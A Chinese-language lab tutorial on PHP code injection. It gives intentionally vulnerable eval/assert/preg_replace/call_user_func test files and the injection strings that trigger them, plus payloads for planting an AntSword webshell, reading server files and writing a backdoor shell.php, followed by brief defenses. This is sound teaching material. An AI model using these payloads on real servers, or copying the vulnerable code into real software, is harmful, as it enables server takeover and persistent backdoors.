1 PHP注入概述
RCE概念:remote command/code execute,远程命令/代码执行。
PHP代码执行:在WEB中,PHP代码执行是指应用程序过滤不严,用户可用通过http请求将代码注入到应用中执行。
PHP代码注入与SQL注入比较: 其注入思想是类似的,均是构造语句绕过服务器的过滤去执行。 区别在于SQL注入是将语句注入到数据库中执行,而PHP代码执行则是可以将代码注入到应用中,最终由服务器运行它。
条件:
- 1)程序中含有可以执行PHP代码的函数或语言结构;
- 2)传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响),且应用程序过滤不严。
危害 :这样的漏洞如果没有特殊的过滤,相当于直接有一个WEB后门的存在。攻击者可以通过代码执行漏洞继承WEB用户权限、执行任意代码;如果服务器没有正确配置或者WEB用户权限比较高的话,还可以读写靶机服务器任意文件内容,甚至控制整个网站或者服务器。
2 相关函数与语言结构
凡是出现以下代码,都需要谨慎处理其传入的参数,容易出现PHP注入漏洞。
2.1 eval()函数
作用:该函数的作用是将字符串作为PHP代码执行。
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下新建PHPi文件夹,并在该文件夹下新建txt文件,重命名为eval.php,该文件的测试代码如下,其中的全局变量
$_GET 还可以是$_REQUEST 等其他预定义超全局变量。
<?php
if (isset($_GET['code'])){
$code=$_GET['code'];
eval($code);
}else{
echo "Please submit code!<br >?code=phpinfo();";
}
- 通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP探针。主要方式有以下几种:
①普通方式提交变量:?code=phpinfo(); ②以语句块方式提交变量:?code={phpinfo();} ③以多语句方式提交参数:?code=1;phpinfo();
2.2 assert()函数
作用:该函数的作用是将字符串作为PHP代码执行。如果它的条件返回错误,则终止程序执行。
危害:该函数也会将传入的字符串参数作为PHP代码执行。如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下的PHPi文件夹下新建txt文件,重命名为assert.php,测试代码如下,其中的全局变量
$_GET 还可以是$_REQUEST 等其他预定义超全局变量。
<?php
if (isset($_GET['code'])){
$code=$_GET['code'];
assert($code);
}else{
echo "Please submit code!<br >?code=phpinfo();";
}
- 通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP探针。主要方式有以下几种:
普通方式提交变量:?code=phpinfo() 或者?code=phpinfo(); 与eval()函数有别的是,该函数不能执行传入语句块或多语句作为参数。
2.3 preg_replace()函数
作用:该函数用于对字符串进行正则处理。 函数原型及解析如下:搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换。特别地,当$pattern 处第一个参数存在e修饰时,$replacement 的值会被当成PHP代码来执行。
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit = -1 [, int &$count]])
#mixed表示函数的返回值可以为混合类型
例子:
- 在网站根目录下的PHPi文件夹下新建txt文件,重命名为preg_replace.php,测试代码如下。代码中第一个参数
"/\[(.*)\]/e" 解析如下,第二个参数\\1 表示的是正则表达式第一次匹配的内容。 ① 在两个/间是要匹配的正则表达式; ②用两个\表示对中括号的转义,也就是说要匹配的内容是中括号内的。 ③匹配的内容就是(.*)。其中点表示任意字符,*表示任意多个。
<?php
if (isset($_GET['code'])){
$code=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1',$code);
}else{
echo"?code=[phpinfo()]";
}
?>
- 通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP探针。主要方式有以下几种:
①普通方式提交变量:?code=[phpinfo();] ,[]是由于preg_replace的第一个参数有分号。 ②以语句块方式提交变量:?code={[phpinfo();]} ③以多语句方式提交参数:?code=1;[phpinfo();]
2.4 call_user_func()函数
call_user_func()这一类函数具有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用开发者意料之外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
call_user_func($fun,$para) 函数:第一个参数作为回调函数,后面的参数为回调函数的参数。将$para 这个参数传递给$fun 这个函数去执行。
例子:
- 在网站根目录下的PHPi文件夹下新建txt文件,重命名为call_user_func.php。测试代码如下:
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}else{
echo"?fun=assert&para=phpinfo()";
}
?>
#注意,fun不可以取eval,因为eval不是函数,而是语言结构
- 通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP探针
?fun=assert¶=phpinfo() 。值得注意的是,传入的第一个参数可以是assert函数而不是eval。
2.5 动态函数$a($b)
背景:由于PHP的特性原因,PHP函数支持直接有拼接的方式调用,这就直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()函数的初衷一样,都是为了更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
例子:
- 在网站根目录下的PHPi文件夹下新建txt文件,重命名为dynfunc.php。测试代码如下:
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo"?a=assert&b=phpinfo()";
}
?>
- 通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP探针,
?a=assert&b=phpinfo() 。
3 PHP代码注入漏洞的利用实例
3.1 实验目的
(1)了解PHP漏洞的危害; (2)掌握PHP漏洞的利用方法。
3.2 实验环境
靶机:win2008虚拟机,部署WAMP环境,虚拟机系统安装及WAMP部署方法参考文章《《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》。利用网站根目录下的PHPi文件夹下的assert.php文件,assert.php的代码详见上述2.2节。
真实机:win10系统,安装中国蚁剑软件。注意,靶机与真实机属于同一局域网。
3.3 实例内容
3.3.1 实例一:直接获取shell
(1)采用真实机访问assert.php,其中提交参数为?code=@eval($_REQUEST[1]); (构成一句话木马,密码为1)即网址为http://172.16.1.1/PHPi/assert.php?code=@eval($_REQUEST[1]); ,建议配合中国蚁剑使用。
(2)运行中国蚁剑,在界面空白处点击右键,点击添加数据。 (3)填写参数如下,其中URL中要注意语句结尾应有分号。填写后点击提交。
(4)提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。
3.3.2 实例二:获取当前文件的绝对路径。
(1)采用真实机访问assert.php,其中提交参数为?code=print(__FILE__); 即可获取当前网页的绝对路径,其他漏洞依次类推。__FILE__ 是PHP预定义常量,其含义为当前文件的路径
3.3.3 实例三:读文件
前提:(1)目标文件路径;(2)读取权限。 方法:利用file_get_contents()函数读取服务器文件。 例子:读取服务器的hosts文件, 真实机访问assert.php文件,其中传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); ,即可将目标文件内容显示在页面上。
3.3.4 实例四:写文件
前提:具备文件夹的写入权限。 方法:利用file_put_contents()函数写入服务器文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。 例子: (1)采用真实机访问assert.php,其中传入参数为 ?code=file_put_contents($_REQUEST[1],$_REQUEST[2]);&1=shell.php&2=<?php @eval($_REQUEST['ant']);?> 。参数1值为shell.php,参数2值为<?php eval($_POST['ant']); ?> ,表示在当前目录下创建文件shell.php(文件内容为参数2的值),并写入一个后门。
(2)采用真实机访问shell.php文件,网址为http://172.16.1.1/PHPi/shell.php .
(3)使用蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。 (4)提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息,可管理靶机。
4 防御
(1)尽量不要使用eval()等函数,如需使用则一定要进行严格的过滤; (2)preg_replace放弃使用/e修饰符; (3)在php.ini文件中,将assert等函数禁用掉,如disable_functions = assert 。
5 总结
(1)掌握PHP语言种几种可能存在注入的函数; (2)结合SQL注入与XSS漏洞思考PHP注入绕过手法。 (3)获取网站相关的信息利用PHP漏洞;获取数据库相关内容利用SQL注入漏洞。 (4)掌握漏洞验证及利用的过程。 (5)掌握利用漏洞读写文件及建立后门的过程。
tips: Seacms-v6.26、v6.53、v6.54、v6.55(海洋cms)存在代码执行漏洞,cms是网站的模板。
|